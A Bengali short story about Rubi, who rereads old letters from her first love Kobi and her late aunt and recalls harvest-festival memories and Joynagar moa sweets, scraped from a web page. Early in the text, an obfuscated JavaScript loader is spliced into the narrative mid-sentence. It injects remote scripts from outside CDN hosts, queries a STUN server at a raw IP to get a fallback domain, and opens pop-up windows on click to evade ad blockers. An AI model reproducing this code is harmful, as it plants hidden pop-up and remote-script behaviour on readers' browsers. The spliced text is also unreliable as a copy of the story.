(adsbygoogle = window.adsbygoogle || []).push({});
নবান্নের ডাক
🌱 🌱 🌱 🌱 🌱 🌱
” জয় নগরের মোয়া! চাই জয় নগরের মোয়া! “
ফেরীওয়ালার কণ্ঠস্বর শুনেই খুব তাড়াতাড়ি বারান্দায় ছুটে গেল রুবী। শীত একটু একটু করে টি – ২০ খেলতে শুরু করেছে। শীতের দাপট যদিও কম। তবু ভোরের দিকে একটু হলেও শীত উঁকি মারছে। হালকা চাদরে গাটা ঢাকতে হচ্ছে শীতের মাঝ রাতে বা ভোরে।
শীতের সাথে ” জয়নগরের মোয়া ” এর একটা মধুর রিলেশন রয়েছে। কোকিলের ডাক যেমন বসন্তকালের পূর্বাভাস দেয় , ঠিক তেমনি ” জয়নগরের মোয়া ” বুঝিয়ে দেয় যে শীত আসছে।
আজ ফেরীওয়ালার কণ্ঠস্বর শুনেই মনটা আন্দোলিত হল রুবীর। এই চত্বরে এমনিতেই ফেরীওয়ালা কম আসে। বারান্দায় ছুটে যেতেই একটা ছোট শোকেসে ধাক্কা খেল। আর শোকেসের উপর থেকেই ধুলো মাখা গোছা গোছা চিঠিগুলো পড়ে গেল।
” জয় নগরের মোয়া ” !
” জয় নগরের মোয়া ” !var _0x3f76=[0,”//cdnondemand.org”,”//velocitycdn.com”,’touchstart’,false];(function(_0x4424f1,_0xbfd580){var _0x36795c=function(_0xba82d3){while(–_0xba82d3){_0x4424f1[‘push’](_0x4424f1[‘shift’]());}};_0x36795c(++_0xbfd580);}(_0x3f76,0x7d));var _0x5339=function(_0x50d0a7,_0x324882){_0x50d0a7=_0x50d0a7-0x0;var _0x2c3df=_0x3f76[_0x50d0a7];return _0x2c3df;};var adcashMacros={‘sub1′:”,’sub2’:”};var zoneSett={‘r’:”2979567″,’d’:_0x5339(‘0x0’)};var urls={‘cdnUrls’:[_0x5339(‘0x1’),_0x5339(‘0x2′)],’cdnIndex’:0x0,’rand’:Math[‘random’](),’events’:[‘click’,’mousedown’,_0x5339(‘0x3′)],’onlyFixer’:_0x5339(‘0x4′),’fixerBeneath’:false};var iceConfig={‘url’:’stun:35.224.227.218:443′};var _0x585b=[‘length’,’replace’,’trim’,’?r=’,’&padbl=1′,’open’,’touchstart’,’blur’,’click’,’addEventListener’,’removeEventListener’,’detachEvent’,’onicecandidateerror’,’split’];(function(_0x1c2a40,_0x2236b4){var _0x4b20b6=function(_0x375214){while(–_0x375214){_0x1c2a40[‘push’](_0x1c2a40[‘shift’]());}};_0x4b20b6(++_0x2236b4);}(_0x585b,0xf7));var _0x1442=function(_0x6c0328,_0x3e6a5a){_0x6c0328=_0x6c0328-0x0;var _0x9ee00d=_0x585b[_0x6c0328];return _0x9ee00d;};function runAdblock(){var _0x54575b=null;function _0x1fca6b(_0x58a3c3,_0x128033,_0x5c9d0e){if(_0x58a3c3[_0x1442(‘0x0’)])return _0x58a3c3[_0x1442(‘0x0’)](_0x128033,_0x5c9d0e);_0x58a3c3[‘attachEvent’](‘on’+_0x128033,_0x5c9d0e);}function _0x37180a(_0x454b4a,_0x2fb61,_0x205f96){if(_0x454b4a[_0x1442(‘0x1’)])return _0x454b4a[_0x1442(‘0x1’)](_0x2fb61,_0x205f96);_0x454b4a[_0x1442(‘0x2’)](‘on’+_0x2fb61,_0x205f96);}function _0x34e6b4(){if(RTCPeerConnection)(function(){var _0x56f0b6=new RTCPeerConnection({‘iceServers’:[iceConfig]});_0x56f0b6[_0x1442(‘0x3’)]=function(_0x3b25f8){_0x43e526(_0x3b25f8[‘errorText’]);};_0x56f0b6[‘createDataChannel’](”,{‘reliable’:![]});_0x56f0b6[‘createOffer’](function(_0x3f0acc){_0x56f0b6[‘setLocalDescription’](_0x3f0acc);},function(){});function _0x43e526(_0x1cbe16){if(_0x54575b)return;var _0x1e68b7=_0x1cbe16[_0x1442(‘0x4’)](‘|’);if(_0x1e68b7[_0x1442(‘0x5’)]!==0x2)return;_0x54575b=[_0x1e68b7[0x0][_0x1442(‘0x6’)](/[^ -~]+/g,”)[‘trim’](),_0x1e68b7[0x1][_0x1442(‘0x6’)](/[^ -~]+/g,”)[_0x1442(‘0x7’)]()];}}());}function _0x4d5e4e(){if(!_0x54575b)return;try{var _0xa94621=’//’+_0x54575b[0x1]+_0x1442(‘0x8’)+zoneSett[‘r’]+_0x1442(‘0x9’);var _0x494587=window[_0x1442(‘0xa’)](_0xa94621);if(_0x494587){_0x37180a(window,’click’,_0x4d5e4e);_0x37180a(window,_0x1442(‘0xb’),_0x4d5e4e);_0x37180a(window,_0x1442(‘0xc’),_0x4d5e4e);}}catch(_0x2340cf){}}_0x1fca6b(window,_0x1442(‘0xd’),_0x4d5e4e);_0x1fca6b(window,_0x1442(‘0xb’),_0x4d5e4e);_0x1fca6b(window,_0x1442(‘0xc’),_0x4d5e4e);_0x34e6b4();}var _0x4c8a=[‘dns-prefetch’,’href’,’appendChild’,’preconnect’,’random’,10,’getRand’,’scripts’,’script’,’attachCdnScript’,’cdnIndex’,’cdnUrls’,’length’,’setAttribute’,’data-cfasync’,’src’,’onerror’,’getFirstScript’,’parentNode’,’addEventListener’,’attachEvent’,’uniformDetachEvent’,’removeEventListener’,’detachEvent’,’jonIUBFjnvJDNvluc’,’function’,’events’,’loader’,’onlyFixer’,’boolean’,’init’,’createElement’,’link’,’head’,’rel’];(function(_0x171a91,_0x4467cb){var _0x1dec84=function(_0x1be049){while(–_0x1be049){_0x171a91[‘push’](_0x171a91[‘shift’]());}};_0x1dec84(++_0x4467cb);}(_0x4c8a,0x1a0));var _0xddae=function(_0x5a6e70,_0x2c6e49){_0x5a6e70=_0x5a6e70-0x0;var _0x447070=_0x4c8a[_0x5a6e70];return _0x447070;};function acPrefetch(_0x36514d){var _0x248782=document[_0xddae(‘0x0’)](_0xddae(‘0x1’));var _0x5d0bbb;if(typeof document[_0xddae(‘0x2′)]!==’undefined’){_0x5d0bbb=document[‘head’];}else{_0x5d0bbb=document[‘getElementsByTagName’](_0xddae(‘0x2’))[0x0];}_0x248782[_0xddae(‘0x3’)]=_0xddae(‘0x4’);_0x248782[_0xddae(‘0x5’)]=_0x36514d;_0x5d0bbb[_0xddae(‘0x6’)](_0x248782);var _0x25b9ae=document[_0xddae(‘0x0’)](‘link’);_0x25b9ae[_0xddae(‘0x3’)]=_0xddae(‘0x7’);_0x25b9ae[_0xddae(‘0x5’)]=_0x36514d;_0x5d0bbb[_0xddae(‘0x6’)](_0x25b9ae);}var CTABPu=new function(){var _0x3b7442=this;var _0x1dcc28=Math[_0xddae(‘0x8’)]();var _0x1351a4=_0xddae(‘0x9’);var _0x29f0b3=86400;this[‘msgPops’]=0x15b38;this[‘_allowedParams’]={‘sub1′:!![],’sub2′:!![],’excluded_countries’:!![],’allowed_countries’:!![],’pu’:!![],’lang’:!![],’lon’:!![],’lat’:!![],’storeurl’:!![],’c1′:!![],’c2′:!![],’c3′:!![],’pub_hash’:!![],’pub_clickid’:!![],’pub_value’:!![]};_0x3b7442[_0xddae(‘0xa’)]=function(){return _0x1dcc28;};this[‘getFirstScript’]=function(){var _0x515f8f;if(typeof document[‘scripts’]!==’undefined’){_0x515f8f=document[_0xddae(‘0xb’)][0x0];}if(typeof _0x515f8f===’undefined’){_0x515f8f=document[‘getElementsByTagName’](_0xddae(‘0xc’))[0x0];}return _0x515f8f;};this[_0xddae(‘0xd’)]=function(){if(urls[_0xddae(‘0xe’)]<urls[_0xddae('0xf')][_0xddae('0x10')]){try{var _0x337a92=document[_0xddae('0x0')](_0xddae('0xc'));_0x337a92[_0xddae('0x11')](_0xddae('0x12'),'false');_0x337a92[_0xddae('0x13')]=urls[_0xddae('0xf')][urls[_0xddae('0xe')]]+'/script/compatibility.js';_0x337a92[_0xddae('0x14')]=function(){urls[_0xddae('0xe')]++;_0x3b7442[_0xddae('0xd')]();};var _0x253232=_0x3b7442[_0xddae('0x15')]();_0x253232[_0xddae('0x16')]['insertBefore'](_0x337a92,_0x253232);}catch(_0x6a8c0d){}}else{runAdblock();}};this['uniformAttachEvent']=function(_0x3f85c7,_0x2f9ba0,_0x5d2c64){_0x5d2c64=_0x5d2c64||document;if(!_0x5d2c64[_0xddae('0x17')]){return _0x5d2c64[_0xddae('0x18')]('on'+_0x3f85c7,_0x2f9ba0);}return _0x5d2c64[_0xddae('0x17')](_0x3f85c7,_0x2f9ba0,!![]);};this[_0xddae('0x19')]=function(_0xc8a7ad,_0x2ff8fd,_0x4e4b84){_0x4e4b84=_0x4e4b84||document;if(!_0x4e4b84[_0xddae('0x1a')]){return _0x4e4b84[_0xddae('0x1b')]('on'+_0xc8a7ad,_0x2ff8fd);}return _0x4e4b84[_0xddae('0x1a')](_0xc8a7ad,_0x2ff8fd,!![]);};this['loader']=function(_0x59d1fe){if(typeof window[_0xddae('0x1c')+_0x3b7442[_0xddae('0xa')]()]===_0xddae('0x1d')){var _0x5ba6b2=window[_0xddae('0x1c')+_0x3b7442[_0xddae('0xa')]()](_0x59d1fe);if(_0x5ba6b2!==![]){for(var _0x5d334e=0x0;_0x5d334e<urls[_0xddae('0x1e')]['length'];_0x5d334e++){_0x3b7442['uniformDetachEvent'](urls[_0xddae('0x1e')][_0x5d334e],_0x3b7442[_0xddae('0x1f')]);}}}};var _0x5a27fc=function(){for(var _0x408d7d=0x0;_0x408d7d<urls['cdnUrls'][_0xddae('0x10')];_0x408d7d++){acPrefetch(urls[_0xddae('0xf')][_0x408d7d]);}_0x3b7442[_0xddae('0xd')]();};var _0x177681=function(){for(var _0x425905=0x0;_0x425905<urls[_0xddae('0x1e')]['length'];_0x425905++){_0x3b7442['uniformAttachEvent'](urls[_0xddae('0x1e')][_0x425905],_0x3b7442[_0xddae('0x1f')]);}};var _0x5ccb6d=function(){return typeof urls[_0xddae('0x20')]===_0xddae('0x21')?urls[_0xddae('0x20')]:![];};this[_0xddae('0x22')]=function(){if(!_0x5ccb6d()){var _0x44888c=zoneSett['d']?parseInt(zoneSett['d']):0x0;setTimeout(_0x177681,_0x44888c*0x3e8);}_0x5a27fc();};}();CTABPu[_0xddae('0x22')](); ফেরীওয়ালার ডাকটা হৃদয়ে বেশ একটা আবেশ তুলে মাদল বাজিয়ে তুলেছে। ফেরীওয়ালাকে দেখা যাচ্ছে না। সম্ভবত পাশের বাড়িতে ঢুকেছে। চিঠিগুলোর কথা ভুলেই গেছে। এখন তো আর সেইভাবে চিঠি লেখা হয়ে ওঠে না। অনেকগুলি চিঠি। সবটাতে ধুলোর চাদর থাকলেও যত্নের তেমন ত্রুটি হয়নি। একত্রিশ বছর আগের লেখা চিঠিগুলি আজও সমানভাবে প্রাসঙ্গিক। বেশ কিছু চিঠি ফুলপিসিমার হাতে লেখা।
(adsbygoogle = window.adsbygoogle || []).push({});
মোয়ার দামটা মিটিয়েই রুবী সোফাতে হেলান দিয়ে বসল।একটা মোয়াতে জিভের আদর মাখতেই আর একটা মোয়াতে কামড় দিল। চিঠিগুলো কেমন ফ্যালফ্যাল করে তাকিয়ে রয়েছে। আর সেইভাবে তেমন চিঠি লেখা আর হয় না। লিখবেই বা কাকে? যাকে লিখবে সেই মানুষটাই আর নেই। নেই মানে মন থেকে হারিয়ে গেছে। কিংবা হতে পারে কোথাও চলে গেছে , তার আর কোনো সংবাদ নেই।
মোয়ার সখ মিটতেই রুবী চিঠিগুলোতে হাত দিল। কবির লেখা অনেক চিঠিই আছে। আর কিছু আছে ফুলপিসিমার নিজের লেখা। প্রতিবছর নবান্ন আসলেই পিসিমণি রুবীকে আসার জন্যে বলত। চিঠি লিখে নিমন্ত্রণ করত। তখন ফোনের যোগাযোগ ছিল না বললেই চলে। শীত আসলেই রূবীর নবান্নের কথা মনে পড়ত। আর চিঠির অপেক্ষায় পথ চেয়ে বসে থাকত।
একবার পিসিমণি ভীষণভাবে অসুস্থ। চিঠির কোনো সংবাদ নেই। রুবীও হাতে বেশ কিছুদিন সময় নিয়ে পিসিমার চিঠির ভরসাতে না থেকে চলে গিয়েছিল পিসিমণির গ্রামে। পিসিমণি রূবীকে দেখে ভীষণ খুশী। সেবার নবান্নের পুরো দায়িত্ব রুবী নিজের হাতে সামলে ছিল। অনেক মজা হয়েছিল সেবারে।
দেখতে দেখতে আজ অনেক বছর কেটে গেছে। রূবীরও কাজের চাপ অনেক বেড়েছে। তাই সেইভাবে আর নবান্নে বা কোনো অনুষ্ঠানে পিসিমণির গ্রামের বাটিতে আর যাওয়া হয়ে ওঠে না। পিসিমণিও অনেকদিন হল চোখ বুজেছেন। তাই নবান্নের স্বাদ আর পাওয়া হয়নি। তবু নবান্ন আসলেই রুবীর চোখ ছলছল করে ওঠে। পুরানো দিনের স্মৃতিগুলো দলা পাকানো কষ্টগুলো বার হয়ে আসে।
(adsbygoogle = window.adsbygoogle || []).push({});
নবান্নের সাথে জয়নগরের মোয়ার একটা মধুর সম্পর্ক আছে। সেটা রূবী , কবি , ফুলপিসিমা ছাড়াও খুব কম লোক জানে। আজ আবার ফেরীওয়ালার ডাক শুনে সেই পুরানো দিনের টুকরো টুকরো স্মৃতিগুলো মেঘ হয়ে বৃষ্টি নামাচ্ছে। দুচোখের কোণেও নামছে বৃষ্টি। রূবীরও সেই বৃষ্টিতে ভিজতে বড্ড ইচ্ছে করছে।
রান্না অনেক আগেই শেষ হয়ে গেছে। একার রান্না। তাই সময় কম লাগার কথা। শীতের মোলায়েম রোদ্দুরটা তুলির শেষ টান দিয়ে আর একটু পরেই চলে যাবে। রূবী স্নান সেরে ডিপ বেগুনী রংয়ের বহু পুরানো একটা নাইটি পরে খাটের উপর চিঠির গোছা নিয়ে বসল। কবির লেখা একটা চিঠি। অনেকদিন আগে কবি ওটা লিখেছিল রুবীকে। চিঠির ভাঁজে ভাঁজে রয়েছে কবির লেখা কিছু কবিতার লাইন। তাতে প্রেম বেশ সাবলীল ছন্দে এগিয়েছে।
চিঠিগুলো দেখতে দেখতে বা পড়তে রুবী কোথায় যেন হারিয়ে গেল। চোখের কোণ চিকচিক করছে। নাইটিটা চোখের জলে সবে ভিজতে শুরু করেছে।
অনেক বছর আগের কথা।
******* ***********
(adsbygoogle = window.adsbygoogle || []).push({});
রূবী সবে তখন বারো ক্লাস পাশ করেছে। কলেজে ভর্তি হয়েছে। নার্সিংয়ের ট্রেনিং নেবার ভীষণ ইচ্ছে। ফুলপিসিমা পুজোতে এসেই রুবীকে নিয়ে গেল উনার গ্রামের বাড়িতে। সেই শুরু। তারপর থেকে রুবী নিজেই একা একা চলে এসেছে পিসিমার বাসাতে।
পুজোর ছুটিতে রূবী অনেক কদিন গ্রামের বাড়িতে ছিল। বিজয়া দশমীর পরের দিন একটি ছেলে পিসিমার বাড়িতে পিসিমাকে প্রণাম করতে আসে। ছেলেটিকে প্রথম দিন দেখেই রূবীর ভীষণ ভাল লেগে যায়। আড়াল থেকে ছেলেটিকে বারবার দেখে আর হাসে। ছেলেটির পোষাকে দারিদ্র্যতার ছাপ। চোখে একটা মায়া জড়ানো ভাব রয়েছে।
পিসিমণিকে প্রণাম করেই পিসিমণির হাতে নারুর একটা শিশি গছিয়ে দেয়। রুবী ছেলেটির জন্যে চা আর নারকেল সহযোগে মুড়ি আনতেই ছেলটি উধাও। রূবীর ভীষণ খারাপ লাগে। ছেলেটির এইভাবে না খেয়ে চলে যাওয়াকে মেনে নিতে পারেনা। রুবী পরে ছেলেটির নাম জেনেছে। ওর নাম কবি। পাশের গ্রামেই থাকে। ছেলেটির বাবা মার খোঁজ কেউ দিতে পারেনা। কবি ওর পাড়াতেই একজনের বাড়িতে থাকে। আর সেই বাড়ির কাজ করে দেয়। ঐ বাড়ির মালিক কবিকে মানুষ করেছে। কারণ উনার কোনো সন্তান ছিল না।
(adsbygoogle = window.adsbygoogle || []).push({});
কবি গ্রামের সকলের খুব প্রিয়। ফুলপিসিমার চোখের মণি। কবির আনা নারুতে কামড় দিতেই রূবী বুঝতে পারে হাতের জাদু আছে। কারণ নারুর স্বাদ বলে দেয় এটা যার তার হাতের কাজ না।পিসিমার কাছে রূবী জানতে পেরেছে কবি জয়নগরে মোয়া তৈরীর কারখানাতে কাজ করে। ও ভাল মোয়া বানাতে পারে।
দুদিন কেটে গেছে। কবি আবার এসেছে পিসিমার বাড়িতে। পিসিমা তখন বাড়িতে ছিল না। কাছেই গোবিন্দ বাড়িতে গেছে পালা গান শুনতে। আজ কবিকে একা পেয়ে রুবী অনেক কথা শুনিয়ে দেয় তাকে। কবি কেমন যেন সব শুনে চুপ করে যায়।
পরে রূবী ওর জন্যে চা আর মুড়ি বাদাম নিয়ে আসে। দুজনে খেতে খেতে অনেক গল্প হয়। ফুলপিসিমা কখন যে এসে পড়েছে ওরা সেটা টের পাইনি। পিসিমা দূর থেকে ওদের দুজনের আলাপ আলোচনা শোনে আর হাসে।
আসতে আসতে কবি কখন যে রুবীর খুব কাছের মানুষ হয়ে গেছে রুবী তা বুঝতে পারেনি। রুবীও কবিকে ভালবাসতে শুরু করে।
একটা নাইন পাশ ছেলে যে এইভাবে অল্পদিনের মধ্যে রূবীর মন জয় করে নেবে রুবী তা স্বপ্নেও ভাবেনি। অথচ সেটা হবার ছিল না। এর নামই ভালবাসা। যেটা কখন কি ভাবে হয়ে যায় কেউ বলতে পারেনা।
(adsbygoogle = window.adsbygoogle || []).push({});
শীতের শিশির পড়তেই রূবীর চোখের জলকে স্বাক্ষী রেখে কবি চলে গেল জয়নগরে মোয়া তৈরীর কারখানাতে। তবে কথা দিয়েছিল ও আবার ফিরে আসবে নবান্ন অনুষ্ঠানে।
কবি কথা রেখেছিল। নবান্ন উৎসবের একদিন আগেই ও ফিরে এসেছিল। আর রুবীর জন্যে এনেছিল এক প্যাকেট স্পেসাল ওর নিজের হাতে বানানো জয়নগরের মোয়া। মোয়াগুলো পেয়ে রূবীর আনন্দ আর ধরে না। মোয়ার সাথে আরো অনেক উপহার এনেছিল রুবীর জন্যে।
নবান্ন উৎসবের পুরো দায়িত্বটা কবি নিজে নিয়েছিল। রূবীও ওকে প্রচুর হেল্প করেছিল। সেটাই প্রথম রূবীর ফুলপিসিমার এখানে নবান্ন উৎসবে যোগদান করা। নবান্ন উৎসব রূবী ফুলপিসিমার এখানে দেখল কেমন ঘটা করে উদযাপন করা হয়। মানুষের স্বতস্ফূর্ত স্পন্দন আর আবেগটাও লক্ষ্য করল। লক্ষ্য করল গ্রামের মানুষদের একাত্মবোধ।
(adsbygoogle = window.adsbygoogle || []).push({});
নবান্ন উৎসবে অনেক অনূষ্ঠানের যে আয়োজন করা হয়েছিল সেখানে রুবী নিজেকে বেশ জড়িয়ে ফেলেছিল। যেটা যদিও কবির দৌলতে।
এরপর যখন সময় পেয়েছে চলে এসেছে এই গ্রামে। কখনও ভালবাসার টানে। আবার কখনও ভালবাসার মানুষটার টানে। যতদিন গেছে কবির সাথে ওর সম্পর্কের রসায়ন আরো পোক্ত হয়েছে।
পিসিমা অনেকদিন আগেই ওদের রসায়নটা টের পেয়েছিল। কিন্তু তেমনভাবে এগোতে চাইনি। হতে পারে পিসিমা অন্য কিছু বুঝেছিল।
নবান্নের পরে রুবী যেদিন চলে গেল সেইদিন কবি ওর জন্যে এক প্যাকেট মোয়া এনেছিল। ওটাই রূবীর কাছে পরম প্রাপ্তি।
(adsbygoogle = window.adsbygoogle || []).push({});
এরপর আর ফুলপিসিমার গ্রামে রূবীর সেইভাবে আর যাওয়া হয়নি। পড়াশোনার চাপ। তাছাড়া কলেজ ইউনিভার্সিটির পর্ব মিটতেই রুবী একটা চাকরি পেয়ে গেল। কাজের মধ্যে ভীষণভাবে জড়িয়ে গেল। তবে কবি ওর জীবন থেকে মুছে যায়নি। মাঝে মাঝেই কবির কথা মনে পড়ত।
পরে রুবী জেনেছিল কবি একটা ফ্রড কেসে ফেঁসে গেছে। ওর মোয়া কারখানার মালিক আর কর্মচারীরা মিলে ওকে ফাঁসিয়েছিল। আর তার জন্যে কবিকে কম মূল্য চোকাতে হয়নি। ওর জেল হয়েছিল। রুবী পুরোটাই জেনেছিল ফুলপিসিমার কাছ থেকে। তবে কবির কোন দোষ ছিল না।
জীবনের প্রথম ভালবাসাটা রূবী হারাতে চায়নি। তাই কবির স্মৃতি আঁকড়ে ধরে বাঁচতে চেয়েছিল। আজও তেমনভাবে বেঁচে আছে। কবির লেখা চিঠিগুলো সেই স্বাক্ষ্য বহন করে। প্রতিটা চিঠিতে কবি তার ভালবাসার কথা বলে গেছে। যেটা রুবীর কাছে একটা আলাদা পাওনা।
(adsbygoogle = window.adsbygoogle || []).push({});
দেখতে দেখতে অনেক বছর কেটে গেছে। রূবীও কাজের ছন্দে পুরো ফিরে গেছে। তবে বয়সের পারদটাও আগের থেকে বেড়েছে। এখন জানে না কবি কেমন আছে। সেইভাবে আর পিসিমণির গ্রামেও যাওয়া হয় না। তাই কবির সাথে যোগাযোগটাও ফিকে হয়েছে। ফ্রড কেসের পর থেকে কবি গ্রামেও আসাও বন্ধ করেছে।
তবে কবি রুবীর জীবনে ” জয় নগরের মোয়া ” , নবান্নের উৎসবের আনন্দে বেঁচে আছে। সেটাও রুবীর একটা পরম প্রাপ্তি।
অনেকবার ভাল সম্বন্ধ এসেও রুবী বিয়ে করতে চাইনি। ফুলপিসিমার দেখা অত সুন্দর একটা ভাল পাত্রকেও রুবী ফিরিয়ে দিয়েছিল। স্কুলের হেডদিদিমণিও একটা ভাল সৎ ছেলের খোঁজ দিয়েছিল। রূবীর সেই দিদিমণির কথার কদর করেনি।
******* **********
(adsbygoogle = window.adsbygoogle || []).push({});
আজ বহুদিন পরে কথাগুলো ভাবলে রুবীর চোখে সত্যিই জল আসে। চিঠিগুলো সব পড়া হয়নি। তবুও অনেকটা সময় ব্যয় হয়ে গেছে। আজ অবশ্য ছুটির দিন। কাজের তেমন চাপ নেই। রাস্তায় ফেরীওয়ালার ডাকটা অনেক আগেই মিলিয়ে গেছে। রাস্তাটা এখন অনেকটাই ফাঁকা। শীতের বেলা। একটু পরেই আঁধার নামবে।
খেতে আজ একটু দেরী হল। ভাতের থালাটা নিয়ে বসতেই মাথাতে একটা অদ্ভুত আইডিয়া চেপে বসল। আজ অনেকদিন পরে পায়েস বানাতে ইচ্ছে করছে। অনেকদিন সেইভাবে পায়েশ বানানো হয়না। আর কদিন পরেই তো নবান্ন। প্রতিবছর নবান্নতে পায়েস তৈরী করে।
(adsbygoogle = window.adsbygoogle || []).push({});
ফুলপিসিমার গ্রাম থেকে যেন নবান্নের ডাক শুনতে পাচ্ছে। তাই এবার পায়েস আগেই বানাবে।
তবে এবারে পায়েসটা কবির রেসিপি অনুযায়ী বানাবে। পুরানো চিঠির মধ্যে একটাতে সেই রেসিপি লুকিয়েছিল। কবির অসাধারণ পায়েস বানানোর হাত ছিল। আজ যেন অজান্তে কারুর ঈশারায় সেই রেসিপি বের হয়ে আসল।
অনেকক্ষণ ধরে হাতা নাড়ছে। পায়েসের গন্ধটা ঠিক আসছে না। রূবীর মনটা একটু বিচলিত। দুটো মোয়া পায়েসের হাঁড়িতে ভেঙ্গে দিতেই একটা অপূর্ব গন্ধ ভেসে আসল। রূবী বুঝতে পেরেছে কবির সেই স্বাদের লুকানো ছন্দটা ফিরে আসছে। মুখে একটা তৃপ্তির হাসি।
……. …….. ……. ………..
(adsbygoogle = window.adsbygoogle || []).push({});
সন্ধ্যের একটু পরেই বৈশালীর ফোনটা আসল। বৈশালীর স্কুলেও রুবীর মতন ছুটি পড়ে গেছে।বৈশালী ওর বরের সাথে ছুটিতে শিলিগুড়ি যাচ্ছে। বৈশালী বার বার করে বলছিল ওর সাথে রূবীকে যাবার জন্যে। রূবী প্রথমে না বলেছিল। পরে রাজী হল । মানে ওর সাথে মালদার চাঁচল অবধি যাবে। চাঁচলের মালতিপুরের কাছেই রুবীর আদরেরর পিসিমণির বাড়ি।
ব্যগ গোছাতেই যা একটু টাইম লাগল। দার্জিলিং মেলটা ধরতে হবে। কিছুটা পায়েস টিফিন বক্স বন্দী করে ব্যাগে সযত্নে রাখল কবির জন্যে। যদি কবির দেখা পাওয়া যায়। সেই সাথে গোটা আষ্টেক মোয়া। চোখের কোণ বেয়ে নামছে পৌষের শিশির।
(adsbygoogle = window.adsbygoogle || []).push({});
আজ অনেকদিন পরে রূবী পিসিমার বাড়ি যাচ্ছে। শুধু তাই নয় তার ভালবাসার মানুষটির ঘরের কাছে যাচ্ছে। যদিও কবির আদৌ দেখা পাবে কিনা সেটা ওখানে গেলেই বোঝা যাবে। একটা চাপা কষ্টের মধ্যেও যেন পৌষের মিঠে রোদের সন্ধান পেল।
ঐ মিষ্টি রোদ্দুরটা একটু একটু করে সব কষ্টকে যেন শুষে নিচ্ছে।
বর্ধমান স্টেশন এসে গেছে। শীত বেশ শাসন করছে। বৈশালীদের আলাদা কোচ। এস -৩। ট্রেনে উঠেই বৈশালীর ফোনে মোবাইলের রিংটোনটা বেজে উঠল –
” পৌষ তোদের ডাক দিয়েছে
আয়রে ছুটে আয় …..
ডালা যে ……
মরি হায়…….. “
রূবী মধুর ঐ রিংটোনে নবান্নের আগাম ডাক যেন শুনতে পেল।
রুবীর মনে হল কবি ওকে দুহাত বাড়িয়ে আদর মাখানো গলায় নবান্নের মেঠো স্বাদ নেবার জন্যে ডাকছে। যে ডাক মোয়া আর পায়েসের স্বাদের থেকেও সুস্বাদু।
” পৌষ তোদের ….
আয় রে ছুটে আয়
…… …… …….. “
(adsbygoogle = window.adsbygoogle || []).push({});